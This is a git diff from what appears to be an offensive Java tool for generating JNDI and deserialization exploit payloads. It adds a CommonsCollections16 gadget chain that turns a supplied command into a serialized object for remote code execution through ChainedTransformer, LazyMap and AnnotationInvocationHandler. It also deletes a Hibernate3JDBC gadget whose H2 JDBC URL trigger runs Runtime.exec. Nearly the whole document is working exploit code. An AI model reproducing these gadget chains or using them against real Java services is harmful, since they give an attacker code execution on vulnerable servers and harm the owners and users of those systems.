diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 8e21b19..6b78537 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -45,7 +45,7 @@ org-codehaus-groovy-groovy = "2.4.3" org-eclipse-jetty-jetty-ant = "11.0.7" org-fusesource-jansi-jansi = "2.4.0" org-glassfish-tyrus-tyrus-server = "2.0.0" -org-hibernate-hibernate-core = "4.1.12.Final" +org-hibernate-hibernate-core = "4.3.11.Final" org-javassist-javassist = "3.29.2-GA" org-jboss-interceptor-jboss-interceptor-core = "2.0.0.Final" org-jboss-interceptor-jboss-interceptor-spi = "2.0.0.Final" diff --git a/gradlew b/gradlew old mode 100644 new mode 100755 diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections16.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections16.java new file mode 100644 index 0000000..a6a5db8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections16.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.gadgets; + + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantFactory; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.annotation.Target; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.1","jdk:jdk<=8u70"}) +@Authors({Authors.Unam4}) +public class CommonsCollections16 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Transformer transformerChain = new ChainedTransformer(transformers); + Map decorate = LazyMap.decorate(new HashMap(), new ConstantFactory(1)); + + TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,1); + HashMap map1 = new HashMap<>(); + map1.put("value",tiedMapEntry); + Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); + Anotationdeclared.setAccessible(true); + InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1); + Reflections.setFieldValue(decorate, "factory",transformerChain ); + Reflections.setFieldValue(tiedMapEntry, "key",233); + return h; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java b/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java deleted file mode 100644 index 18b8294..0000000 --- a/src/main/java/com/qi4l/jndi/gadgets/Hibernate3JDBC.java +++ /dev/null @@ -1,45 +0,0 @@ -package com.qi4l.jndi.gadgets; - -import com.alibaba.fastjson.JSONArray; -import com.qi4l.jndi.gadgets.annotation.Authors; -import com.qi4l.jndi.gadgets.annotation.Dependencies; -import org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl; - -import javax.management.BadAttributeValueExpException; -import java.lang.reflect.Field; -import java.util.HashMap; - -@Dependencies({"org.hibernate:<4.2","com.alibaba.fastjson:com.alibaba.fastjson1.X"}) -@Authors({Authors.Unam4}) -public class Hibernate3JDBC implements ObjectPayload, DynamicDependencies { - private static String cmd = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + - "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + - "java.lang.Runtime.getRuntime().exec('open -a calculator')\n" + - "$$\n"; - public Object getObject(String command) throws Exception { - - if (!command.toLowerCase().startsWith("jdbc:")) { - throw new Exception("Command format is: eviljdbcurl"); - } - cmd = command; - DriverManagerConnectionProviderImpl o = new DriverManagerConnectionProviderImpl(); - HashMap map1 = new HashMap<>(); -// map1.put("hibernate.connection.driver_class","org.h2.Driver"); - map1.put("hibernate.connection.url",cmd); - map1.put("hibernate.connection.initial_pool_size",0); - map1.put("hibernate.hikari.minimumIdle",0); - o.configure(map1); - - JSONArray jsonArray = new JSONArray(); - jsonArray.add(o); - - BadAttributeValueExpException val = new BadAttributeValueExpException(null); - Field valfield = val.getClass().getDeclaredField("val"); - valfield.setAccessible(true); - valfield.set(val, jsonArray); - - HashMap hashMap = new HashMap(); - hashMap.put(o, val); - return hashMap; - } -} \ No newline at end of file